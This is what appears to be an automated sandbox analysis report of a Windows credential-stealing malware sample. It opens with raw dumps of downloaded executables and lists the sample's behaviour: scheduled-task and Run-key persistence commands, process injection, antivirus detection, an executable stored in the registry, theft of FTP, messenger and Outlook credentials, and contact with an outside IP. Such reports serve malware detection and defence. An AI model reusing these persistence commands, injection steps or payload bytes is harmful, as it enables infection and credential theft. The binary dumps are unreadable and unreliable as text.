Û ¬½ó(ÝÐü-0ùò²Ûf¤9ò ±óeØÂÄFÌ@<ÇúRldx<²´ý°ûYìôGU·`øÖ 8)iT\|nØÓVp©p&×K3=w-n¯170Qt¸ÉMxÏ l$¯¤ö<ÇÑ(Ü».ìÌ÷Ã¨dø®ç,{]í.kõ!Ð¼ §8H$¸Û8µöªÜFµIÌW¬é¿í²ç{$aPÈ{Ú¼_°ëð~Í²ú±Í&ZÂÉ²I üâ$}'TQIG¼'Ræº[Éþ4 £ó1¿l®-7 D³ë2«íYtö©Ì:8ØK+D ßLö©'Þöâ<`Y"ÑÝqÿúÒçøÁÃe~bÔ½iÛAáã÷±èið°åîaeÛÆï-ö«¬År¬öìÅÄÒê56jwYV'3#C-¿î¼(C^ãiªfGyEl`íQrÑì§híXpnåi¨7þ¤µjÓÐrh´B%@~g¦ùCö£J\|ôLHÏs@ûnÑNST=þéÂ¹3¼IÖ^b=çkTÚ }4î:n"Ì"ÿés½`z_¤ )V¡¶"ËòÉkL.PZb¿¾A«¥¬M?) yö¢Ôàã\|º´äAÁâô¦_ Ì¬Êþ¼ö¢ËªyzU¸øx ä0={ÑFzÚ],$4ùÓ<ðGèÝC{â<ÉW?ÿÄ cöÚ/Sf<ÏOg¹1<jÿXrBvhÀÉ)ÁHÚ«í_É ùí@¢ä1z73Ï F»-Aíü¦@÷tÒ¥$yRj=Dj÷òTõ^W>Ï×^òür`»z)ÅgÜàh %>÷Þä&ªú}pÈÌJ;xú'ÁýÎóÎr,cYdç¨¬" ô÷d°£<Dõ!dSoÌ³k:'§©ùÅ0Ú(£z1²é¦Ñ~Òp¡h[8íB8 ½~Ï½4~¯¸.9K#×Ýö»ÍÅÞ9ÅÕ¼Íô}B:sãò[G»Í7×}îzÚæ4»9Ö$!íÈpQ-}¿[xÈRP)?ü\f[øsb¦½£V8~H+¸ÙüÉ''_2HÎéèblpöùÛh ÿÛ¤lYO[{&LIr»Ny\|Ç1ÎZì"UÐÞ£)ÉXggÅuñîüõ]½±µårRû[ ÓqË3ñíxóLýs$tÜ\¢Il¿ÒÌbBð>"¯©#Bvµ>(4QnZÖ¦ö>å[¬ç«Õ!pwõÙ2,Ë4C5æ¢Áðå é¥QÌØÒMîH¥Ñ'ô>7©v_¿@AHÁ\|móyß0Ý¦ - ¶ÄBuÂ®Û+ù\è Ì¨Íû0ò\gMÈ´¾äÉQäÈDZbÏç±ÂçXqBêkâMFØC¾0\àÆõÐol Tâ`(H¼ä¦A'ÐËJDª_Üô~ DßÒÏáômêÎD4RZ`GLa1UOÛDÊßgñXF7Ó9ª-ÿ'R¢1 ÔX§¦D? >ºïOÁg'ÚÂ¾_Øóó±)DÅ÷ÛýD%Êéö±ãü#¼?¿DNÚ1ÏÝèlõ-Xà©¨Ûb&Ynòw·7Ãá'nû]ÃÄªutFMïÚ_·/=æð94I[CïV+F\|$!á¢üIãÿ!1?ËVby§}¾y ìJqüÆSbz -a>+¿3!þÂkÉö"[¥r6J7ê:OU¡à\|.'e½8ÇGÈ/ÝëäAiÔÂÄRåõóO4®,p roÒpFqW=}\|ú@åWj¬¡¨)Ä[;@Éï½÷÷%»f' Ñ\nÐ `IF*ÿ+&/}"]¯LS+Ì\,Kê¢Jh5åJYý»±{;2}ÎË·h-AÆÔæ»køÏ HíÁ\k"uE¥:dt8¹Ì«slSã1;¬þóåNñ¤zChZT@Ñ»Õç]j+'Jáôï¶RÿÉÈDkª2ÀCQ "øÇ0hh°Ý;ÞL ^¤nEybxë dïM7ÌÏùr<Îÿ×D\|to Rò0sVkNÓ7î$Ùý.OGÚ# óã}ÛÊÚÕËVS'ª¯d\: ÚõEF!2æïÿtGëgì§G«/Ljã!ýò³K\Ñõ5<N<Zdûäý´~D~7¦.:Å !%ë ¬e¤pý request_handle: 0x00cc000c	1	1
InternetReadFile Dec. 12, 2022, 11:14 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELªcà.#rM# `#@ #`(M#J`#¨# H.textx-# .# `.rsrc¨`#0#@@.reloc#6#@BXM#H<#¤0 -&( +&+ö0f+5+6t,!&+2+3-&+4,&+5+6+;+<o + +Ý+â+å+È( +Ã+Ëo +Æs +Å+Èo +Ã+Âo +½ #%Ð-&&+++( +ö0í-&:Ð8Ë8Ò+î+d-1&rp,.&+_+g8i8n8oi8i8j+-+Ê+Ï i]aÒX , i2ã,«Þg(8ÿÿÿ( 8ÿÿÿ8ÿÿÿo 8ÿÿÿ 8ÿÿÿ8ÿÿÿ8ÿÿÿ 8ÿÿÿ&,#$@( ( Þ%,X?5ÿÿÿ8(ÿÿÿ¤»º( ,&þs -&&+(+å( +0L+-,-ù+){,,ñ+ {++!+"-&&++,ð++Ð+Ô+Ýo +Ý+Ü+Û( +Ý0+9¶8Ú8Û:³&&8Ø:°&8Ò{8Í8Ò{ A ±8Ä8É8Î{rpo! {yas" o# {o$ {o% s& -B&&,(' Âs" (( r/po) +}8Eÿÿÿ( 8Gÿÿÿ}+¹8 ÿÿÿs+ 8ÿÿÿ8"ÿÿÿ8(ÿÿÿo, 8)ÿÿÿ8(ÿÿÿs- 82ÿÿÿo. 8-ÿÿÿ8,ÿÿÿ0æ88, &8- +8+ð8{88-6&88-+&þ.o/ o0 t0o1 ~-++È+Óþs2 ~(+o4 o5 &( 8_ÿÿÿ( 8Zÿÿÿ8]ÿÿÿ 8`ÿÿÿ8bÿÿÿo6 8bÿÿÿs7 8]ÿÿÿ8`ÿÿÿ(8 8[ÿÿÿN++(+ö(9 +ñ0þ8¯{8«8¯- &8°9+8ª+íÐ48¤8©8ªt8ª~-þs: -&++~(+t5(; t4-&{o6 o< o= ¥7o> ++Ô8Kÿÿÿo6 8Kÿÿÿo< 8Gÿÿÿ8Jÿÿÿ 8Pÿÿÿ(? 8Rÿÿÿ8Qÿÿÿo@ 8LÿÿÿoA 8Lÿÿÿª+-&+r=p++&+ò-ø+æoB +æ(C +æª+-&+rip++&+ò-ø+æoD +æ(C +æ0 -&( +&+ön+-&++ +s+î(E +ï(F *1èismtyoiuy«xiÈmtykiuykxipmtykiuyTkxipmtykiuyTkxipmtykiuyÔkxi~rÎwkÝ\|´uÓy%½L U &T KPKY$+IEdxspkxipmty;,uyj{iâkiuyTkximzX`hsyTe[ipktykiuy G[ipMtyk)VyTk8ipMtykkuyPkxipmtyoiuyTkxipíWykkuyTkxism4ükieyT{xipmdykyuyTkxi`mtykiuyTkxi`AWy iuyT+[i\ntykiuyTkxipmtykiuyT[i\|mtykiuyTkxipmtykiuyTkxipmtykiuyTkxipmtykiuyTkxipmtykIuy\kxipmtykiuy\Kxi8mtykiuyTkxi^iuy0g[ipMtykgVyTixipmtykiuyTkxiPmtE7kxi\ntyk)VyToxip}WykiuyTkxipmty+iu¹ztygiuyT[ipotyk}VyTkxipmtykiuykx+pmtykiuyTkxipmty+EVyTkxi8mtyiipy8:hi`zyjiuyTkxi3jyr qyÄ@[iðmtykiuyTkxipmtykiuyTkxipmtykiuyTkxivGty)AlTmPjpmrQoiu~kxinm\~isSJkPhpmrSEAlTmPopmrSyiuy~kxibmtyAiuyTkxipmtykiuyTm@ipmt{C}uy^Kxipm >ciqWcxmJytykOUyTkxQymtyS®«tip(uykipyTk@ipmtSyiuy~kxipmtykiuyTkxitUuyzC\|pk\ukisSFkx~ZmtyjCuyFkx}Zmtyyiuy~kxibmtyAiuyTkxipmtykiuyTm@ipmt{C}uy^Kyipm >ciqAcxmJytykOUxTkxQymtyS®«tip(wykisyTkGipmqykiMxTkxCr9qkm]ôBk~>et}CøcyR~ipiTxkiucxm^\|yoSÎ«^IrmtySÙ«i{tmt}KiuyT?api;ciqCÁVMtykiMó«ibmtyAiuyTkxipmtykiuyTSxipmuki0\|Tkx pmtjkiuTkxlpmt%kiuAkxialkP uyTSOipmt¤[iuyV7api\ì}isATkxi¬Mtyki>\k\|het}QÀ«MXipmtAõ~zy~0IwyTk@â{muyPxyIsmtyS«kXipmt,au}/qpitTSYUkxiH4iuyU{xirmKyn-uhTkxibmtnAiuyTkxipmtykiuyTimpmpjlI`yTk.xmpCau}ndxipKTikiuAPkxiauy.IuyT@{ipuyk9wyT$xipëwykJwyTÛ{ipÏtyk¥wyTéyip?wykTuyTxiphtyk]wyTw{ipÞtyk7uyTÊzipvyk6wyTåyiptykwyTvyipÙuyk¿wyTxipouyk«uyT{ipåvykQSzTkzkftyoxwjRx}vnykoPhQmipiQhmfyTo\|pm~giu}t`xipUJwf©\|ipiTikiuAxHÃtykIkyTk@toxiUqTkxQ`ivPkxmH¡tykk6\k\|Aå{tKzuyT?api3ciqC°VMyykiM ªkf~ykmUdTkxQ¸SówyTKdipmLÀ{CsipiTnkiucxm,\|yoSë«^I`mtySú«i`pmpiiu}nxipMeykiMªkrxykmoTkr}mt}K{uyTS&vhhyToX`pmt,au}/bpitW6SY^kxiHZkpTk\|rmt}xmUfTkxQPi~yTokjP`tyk2qTocxmp@orKaipmL{C\|ipiL kiuhSRöipmTykiucxmq\|yoS§«^IpmtyS®«iijr~ykm-{/bxitvykm-Yg<sryykm-)`xitMlykiMì©kdtyok~Tk\|rmt} request_handle: 0x00cc000c	1	1
InternetReadFile Dec. 12, 2022, 11:14 a.m.	buffer: MZPÿÿ¸@º´ Í!¸LÍ!This program must be run under Win32 $7PEL^B*à¡X«°@@ðOà& äCODE, `DATA´° @ÀBSSá Ð´À.idata&à´@À.edataOðÄ@P.relocäÆ@P.rsrc ä@P@ø@P@ StringX@X@¤<@°<@´<@¸<@¬<@$:@@:@\|:@TObjectd@TObjectX@System@ IInterfaceÀFSystemÿÿÌD$øé©KD$øéÇKD$øéÑKÌÌ±@»@Å@ÀFÑ@@L@Ý@L@@¤<@8\@D\@¸<@¬<@T\@@:@\|:@TInterfacedObjectÀÿ%¨áAÀÿ%¤áAÀÿ% áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%\|áAÀÿ%¼áAÀÿ%xáAÀÿ%¸áAÀÿ%táAÀÿ%páAÀÿ%láAÀÿ%háAÀÿ%dáAÀÿ%`áAÀÿ%\áAÀÿ%XáAÀÿ%TáAÀÿ%PáAÀÿ%LáAÀÿ%HáAÀÿ%´áAÀÿ%DáAÀÿ%@áAÀÿ%<áAÀÿ%ÌáAÀÿ%ÈáAÀÿ%ÄáAÀÿ%8áAÀÿ%4áAÀÿ%ÜáAÀÿ%ØáAÀÿ%ÔáAÀÿ%0áAÀÿ%,áAÀÿ%(áAÀÿ%$áAÀSÄ¼» TèYÿÿÿöD$,t·\$0ÃÄD[ÃÀÿ% áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀÿ%áAÀSÄô»àÕA;uYhDjè¦ÿÿÿD$\|$u3À$ëPD$ÜÕAD$£ÜÕA3ÀÐÒL$TÑT$T$ T$@øduÜD$D$D$$$Ä[Ã@ÃÀSVÄøòØèfÿÿÿD$\|$u3Àë:T$BFT$B$D$$D$X$T$PD$°YZ^[ÃÄøP$T$$L$ T$$JàÕA£àÕAYZÃÀSVWUÄøÙðüBCD$RÊ/M;Èuèÿÿÿ@@CëC;Ðuèqÿÿÿ@CD$;7u®ÓÆèúþÿÿÀu3ÀYZ]_^[Ã@SVWUÄð$ôD$ @;ÈØ>_ùz;ßrv;Èu!BAB)BxuVèðþÿÿëMØ>_ùz;ßu B)Bë3Z\$>.}+û\|$+ÈHT$èMþÿÿÀu3Àë°ë;D$Yÿÿÿ3ÀÄ]_^[ÃSVWÚðþ}¾ëÆÿÿæÿÿsjh Vjè4ýÿÿø;ÿt#Ó¸äÕAèÜýÿÿÀuhjPèýÿÿ3À_^[ÃSVWUÙòèÇCjh hUèáüÿÿø;ÿuÆÿÿæÿÿsjh VUè¼üÿÿ;t#Ó¸äÕAèeýÿÿÀuhjPèüÿÿ3À]_^[ÃSVWUÄèùôÇD$ÿÿÿÿ3ÉL$D$T$T$¡äÕAëkD$X;\$rRÃB;D$wE;\$s\$hh;l$vl$hj@PèüÿÿÀu ÇÀÕAèýÿÿD$¸äÕA;u3À\|$tD$D$+D$GÄ]_^[ÃÀSVWUÄèÙ$t$\|$l$ÐÊáðÿÿL$$ÂÿâðÿÿT$D$D$+D$C¡äÕAë[@@E;D$sD$E;D$vD$E;EsjhE+PPè&ûÿÿÀu3Àë¸äÕA;uÄ]_^[ÃSVWUÄè$t$\|$\$ÐêÅÿåðÿÿl$$âðÿÿT$D$D$+D$A¡äÕAëX@@;D$sD$;D$vD$;s h@+PPèwúÿÿÀu ÇÀÕA¸äÕA;uÄ]_^[ÃÀSVWUÄôÚðü½ôÕAÆÿ?æÀÿÿEëA;p4Ë@ÖèJþÿÿ;t_CBC)BxuGèûÿÿë>;/u»ÓÆèmüÿÿ;t&L$ÓÅèûÿÿ\|$uL$Sè"ýÿÿ3ÀÄ]_^[ÃÀSVWUÄè$úØt$½ôÕAÇÿ?çÀÿÿEë;.t;Xuï;Xu_;x×+P@AL$è5üÿÿ\|$t3L$T$Åèoúÿÿ\|$uL$T$D$èüÿÿ$3ÒéL$×Ãèîûÿÿ\|$t4L$T$Åè(úÿÿ\|$TÿÿÿL$T$D$è4üÿÿ$3ÒëRh;ÝuB;x;$Å×è×üÿÿ$8t.$@B$@)Bxuèùÿÿë$3ÒÄ]_^[ÃSÄèÙÿ?áÀÿÿ$ÐâÀÿÿT$D$;$v_ËT$+$$èýÿÿL$Ó¸ôÕAè]ùÿÿ\$ÛtL$T$ÃènûÿÿD$D$D$D$\|$tT$¸ôÕAè©ùÿÿë3ÀÄ[ÃÀUìQ3ÒUhì@dÿ2d"hÄÕAè¼÷ÿÿ=EÐAt hÄÕAè±÷ÿÿ¸äÕAèCøÿÿ¸ôÕAè9øÿÿ¸ ÖAè/øÿÿhøjè_÷ÿÿ£ÖA=ÖAt@¸ÖA3ÉLô@=uìÇEüÖAEüUüPEüUüEü£ÖAÆ¼ÕA3ÀZYYdhó@=EÐAt hÄÕAè!÷ÿÿÃé#ëå ¼ÕAY]ÃUì request_handle: 0x00cc000c	1	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0003ca00', u'virtual_address': u'0x00044000', u'entropy': 7.992757119699273, u'name': u'.data', u'virtual_size': u'0x0003c810'}

entropy

7.9927571197

description

A section with a high entropy has been found

entropy

0.840554592721

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Dec. 12, 2022, 11:14 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Dec. 12, 2022, 11:14 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (18 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (4 events)

cmdline	C:\Windows\System32\cmd.exe /c del C:\Users\test22\AppData\Roaming\100002~1\explorer.exe > nul
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN gntuud.exe /TR "C:\Users\test22\AppData\Local\Temp\4ca685c424\gntuud.exe" /F
cmdline	"C:\Windows\system32\cmd.exe" /c del C:\Users\test22\AppData\Roaming\100002~1\explorer.exe > nul
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN gntuud.exe /TR "C:\Users\test22\AppData\Local\Temp\4ca685c424\gntuud.exe" /F

Communicates with host for which no DNS query was performed (1 event)

host

45.89.255.250

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Dec. 12, 2022, 11:15 a.m.	process_identifier: 2768 region_size: 278528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000170	1	0	0

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Installs itself for autorun at Windows startup (8 events)

reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\TeamViewerSetupx64.exe	reg_value	C:\Users\test22\AppData\Local\Temp\1000025001\TeamViewerSetupx64.exe
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\explorer.exe	reg_value	C:\Users\test22\AppData\Roaming\1000028000\explorer.exe
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\TeamViewer_Desktop.exe	reg_value	C:\Users\test22\AppData\Roaming\1000030000\TeamViewer_Desktop.exe
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\LanguageTool.exe	reg_value	C:\Users\test22\AppData\Local\Temp\1000043001\LanguageTool.exe
service_name	Ghijkl Nopqrstu Wxy	service_path	C:\Windows\rerzsi.exe
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\LanguageTool	reg_value	"C:\Users\test22\AppData\Roaming\Microsoft\Vault\LanguageTool.exe"
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN gntuud.exe /TR "C:\Users\test22\AppData\Local\Temp\4ca685c424\gntuud.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN gntuud.exe /TR "C:\Users\test22\AppData\Local\Temp\4ca685c424\gntuud.exe" /F

Creates or sets a registry key to a long series of bytes, possibly to store a binary or malware config (1 event)

Time & API	Arguments	Status	Return	Repeated
RegSetValueExA Dec. 12, 2022, 11:14 a.m.	key_handle: 0x0000000000000074 regkey_r: reg_type: 3 (REG_BINARY) value: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEd°´5êð. 0Ä @ `@@ H.text@Ã Ä `.rsrcÆ@@HèÈB°Âú0Õ+(e+A~ ( <jX( ( ( jXjX( ( &( jXjX( ( j @`jX 8pjX ( ( ( jXjX( ( ( jXjX( ( &( jXjX( ( ( jXjX( ( ( jX jX( ( ( jX$jX( ( 8( ( jX ZjX( ( jX( ( o 9U( jX ZjX( ( X( jXYZjX( ( ( jX( 8 X ?bÿÿÿÝ&ÝA ÀÍ0A+(ÈG/( ( o (+~%:&~þ s %(+(+o ( @O(%,o i8( Xi?ßÿÿÿ8J(%,o i 8 ( X i?ßÿÿÿ(( i( @(& i( (&0a+( vg( ( @K(%,o i8 ( X i?áÿÿÿ8J(%,o i8( Xi?ßÿÿÿ( o (+~%:&~þ s %(+(+o Ý&~ Ý~ ( 9G((i( @ (&i( (&·FýJ+(x('I((0t+(36j PiYjnjXZ8APPij]iPPij]iij]iaPjXPij]iY X ]ÒjX >¸ÿÿÿPiY(+P07+(ÅÖXL( (+( ( o (! ((" ^+(³rTV(sN+(gK[((# z+(tÀ8(o$ (% ( ¶+(I[I`(& ((' o( o$ (% o 0Û+(ó+d~ ( <jX( ( ( jXjX( ( &( jXjX( ( j @`jX 8pjX ( ( ( jXjX( ( ( jXjX( ( &( jXjX( ( ( jXjX( ( ( jX jX( ( ( jX$jX( ( 8( ( jX ZjX( ( jX( ( o 9U( jX ZjX( ( X( jXYZjX( ( ( jX( 8 X ?bÿÿÿÝ&(s) zA ÀÍ0»+((ZCT%¢%M¢%M¢%¢%K¢ ( o (+~%:&~þs %(+(+o ((Ð(* (+ o, ¥9¥TN+(Xí~^((# ^+(mRR(sN+(h¿Rj((# z+(Ý=Jc(o$ (% ( 0#+(ÆÆfZ( ~o- ~¢~+(ûkL~%: &(+(CíX~%:&(+(L¦2n~%:& (+(ó>V~%:&&(+(£J#?~%:&=(+(¦@"0~%:&N(+(Ú2P~%:&\(+(5F[m~%:&{(+(:L~%:& (+(A==Z~ %:& (0d+(&m( ¦%Ð(. 8~~a ªaÒX ~iþ:Öÿÿÿ0j +(ÀLb~ Xo/ o0 89 ~ o1 Xo2 t. (3 to4 Xi?¾ÿÿÿN+(ÓZ^Z((# +(ú5-4(Ð ( o5 o6 0w#Ð( o5 @%Ð:(. /.!2s# "s# ~ ~ $%s7 +j0(j1),~ s8 '&~ (9 %Ð;(. o( -(: Ý&Ýep*0 W regkey: HKEY_CURRENT_USER\Software\TeamViewerSetupx64\(Default)	1	0	0

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
registry	HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions

Harvests information related to installed instant messenger clients (1 event)

file	C:\Users\test22\AppData\Roaming\.purple\accounts.xml

Potential code injection by writing to the memory of another process (4 events)

Time & API	Arguments	Status	Return
WriteProcessMemory Dec. 12, 2022, 11:15 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $SGÞ&D&D&D\^G&D\^A&D\^@&DES@&DESG&DESA &D\^E&D&E&DÕSA&DÕS»&DÕSF&DRich&DPEL#qcàöS% @@@Üª<ðà¸2¼ÀØ@ x.text@ `.rdataR @@.dataÌÀ@À.rsrcàð¨@@.reloc¸24ª@B base_address: 0x00400000 process_identifier: 2768 process_handle: 0x00000170	1	1
WriteProcessMemory Dec. 12, 2022, 11:15 a.m.	buffer: Ä#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#C(Cÿÿÿÿÿÿÿÿ±¿DNæ@»uÿÿÿÿ ÿÿÿÿHLCÂCÂCÂCÂCÂCÀÇCÈNCHPC ECÈÁCÂCC abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ¤`y!¦ß¡¥àü@~ü¨Á£Ú£ þ@þµÁ£Ú£ þAþ¶Ï¢ä¢å¢è¢[þ@~¡þQQÚ^Ú _ÚjÚ2ÓØÞàù1~þÈCêCêCêCêCêCêCêCêCêCÈCêCêCêCêCêCêCêC..þÿÿÿþÿÿÿ7C.?AVbad_array_new_length@std@@7C.?AVbad_alloc@std@@7C.?AVexception@std@@7C.?AVruntime_error@std@@7C.?AVlogic_error@std@@7C.?AVlength_error@std@@7C.?AVout_of_range@std@@7C.?AVsystem_error@std@@7C.?AV_System_error@std@@7C.?AVbad_exception@std@@7C.?AVerror_category@std@@7C.?AV_Generic_error_category@std@@7C.?AVtype_info@@ base_address: 0x0043c000 process_identifier: 2768 process_handle: 0x00000170	1	1
WriteProcessMemory Dec. 12, 2022, 11:15 a.m.	buffer: 0 H`ð}<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x0043f000 process_identifier: 2768 process_handle: 0x00000170	1	1
WriteProcessMemory Dec. 12, 2022, 11:15 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2768 process_handle: 0x00000170	1	1

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Dec. 12, 2022, 11:15 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $SGÞ&D&D&D\^G&D\^A&D\^@&DES@&DESG&DESA &D\^E&D&E&DÕSA&DÕS»&DÕSF&DRich&DPEL#qcàöS% @@@Üª<ðà¸2¼ÀØ@ x.text@ `.rdataR @@.dataÌÀ@À.rsrcàð¨@@.reloc¸24ª@B base_address: 0x00400000 process_identifier: 2768 process_handle: 0x00000170	1	1	0

Harvests credentials from local email clients (1 event)

registry

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2648 called NtSetContextThread to modify thread in remote process 2768
NtSetContextThread Dec. 12, 2022, 11:15 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4334931 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000038c process_identifier: 2768	1	0	0

Stores an executable in the registry (1 event)

Time & API	Arguments	Status	Return	Repeated
RegSetValueExA Dec. 12, 2022, 11:14 a.m.	key_handle: 0x0000000000000074 regkey_r: reg_type: 3 (REG_BINARY) value: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEd°´5êð. 0Ä @ `@@ H.text@Ã Ä `.rsrcÆ@@HèÈB°Âú0Õ+(e+A~ ( <jX( ( ( jXjX( ( &( jXjX( ( j @`jX 8pjX ( ( ( jXjX( ( ( jXjX( ( &( jXjX( ( ( jXjX( ( ( jX jX( ( ( jX$jX( ( 8( ( jX ZjX( ( jX( ( o 9U( jX ZjX( ( X( jXYZjX( ( ( jX( 8 X ?bÿÿÿÝ&ÝA ÀÍ0A+(ÈG/( ( o (+~%:&~þ s %(+(+o ( @O(%,o i8( Xi?ßÿÿÿ8J(%,o i 8 ( X i?ßÿÿÿ(( i( @(& i( (&0a+( vg( ( @K(%,o i8 ( X i?áÿÿÿ8J(%,o i8( Xi?ßÿÿÿ( o (+~%:&~þ s %(+(+o Ý&~ Ý~ ( 9G((i( @ (&i( (&·FýJ+(x('I((0t+(36j PiYjnjXZ8APPij]iPPij]iij]iaPjXPij]iY X ]ÒjX >¸ÿÿÿPiY(+P07+(ÅÖXL( (+( ( o (! ((" ^+(³rTV(sN+(gK[((# z+(tÀ8(o$ (% ( ¶+(I[I`(& ((' o( o$ (% o 0Û+(ó+d~ ( <jX( ( ( jXjX( ( &( jXjX( ( j @`jX 8pjX ( ( ( jXjX( ( ( jXjX( ( &( jXjX( ( ( jXjX( ( ( jX jX( ( ( jX$jX( ( 8( ( jX ZjX( ( jX( ( o 9U( jX ZjX( ( X( jXYZjX( ( ( jX( 8 X ?bÿÿÿÝ&(s) zA ÀÍ0»+((ZCT%¢%M¢%M¢%¢%K¢ ( o (+~%:&~þs %(+(+o ((Ð(* (+ o, ¥9¥TN+(Xí~^((# ^+(mRR(sN+(h¿Rj((# z+(Ý=Jc(o$ (% ( 0#+(ÆÆfZ( ~o- ~¢~+(ûkL~%: &(+(CíX~%:&(+(L¦2n~%:& (+(ó>V~%:&&(+(£J#?~%:&=(+(¦@"0~%:&N(+(Ú2P~%:&\(+(5F[m~%:&{(+(:L~%:& (+(A==Z~ %:& (0d+(&m( ¦%Ð(. 8~~a ªaÒX ~iþ:Öÿÿÿ0j +(ÀLb~ Xo/ o0 89 ~ o1 Xo2 t. (3 to4 Xi?¾ÿÿÿN+(ÓZ^Z((# +(ú5-4(Ð ( o5 o6 0w#Ð( o5 @%Ð:(. /.!2s# "s# ~ ~ $%s7 +j0(j1),~ s8 '&~ (9 %Ð;(. o( -(: Ý&Ýep*0 W regkey: HKEY_CURRENT_USER\Software\TeamViewerSetupx64\(Default)	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2140 resumed a thread in remote process 2248
Process injection	Process 2648 resumed a thread in remote process 2768
NtResumeThread Dec. 12, 2022, 11:13 a.m.	thread_handle: 0x00000224 suspend_count: 1 process_identifier: 2248	1	0	0
NtResumeThread Dec. 12, 2022, 11:15 a.m.	thread_handle: 0x0000038c suspend_count: 1 process_identifier: 2768	1	0	0

Created a process named as a common system process (2 events)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW Dec. 12, 2022, 11:13 a.m.	thread_identifier: 2160 thread_handle: 0x000003bc process_identifier: 2140 current_directory: C:\Users\test22\AppData\Local\Temp\4ca685c424 filepath: C:\Users\test22\AppData\Roaming\1000028000\explorer.exe track: 1 command_line: "C:\Users\test22\AppData\Roaming\1000028000\explorer.exe" filepath_r: C:\Users\test22\AppData\Roaming\1000028000\explorer.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000438	1	1	0
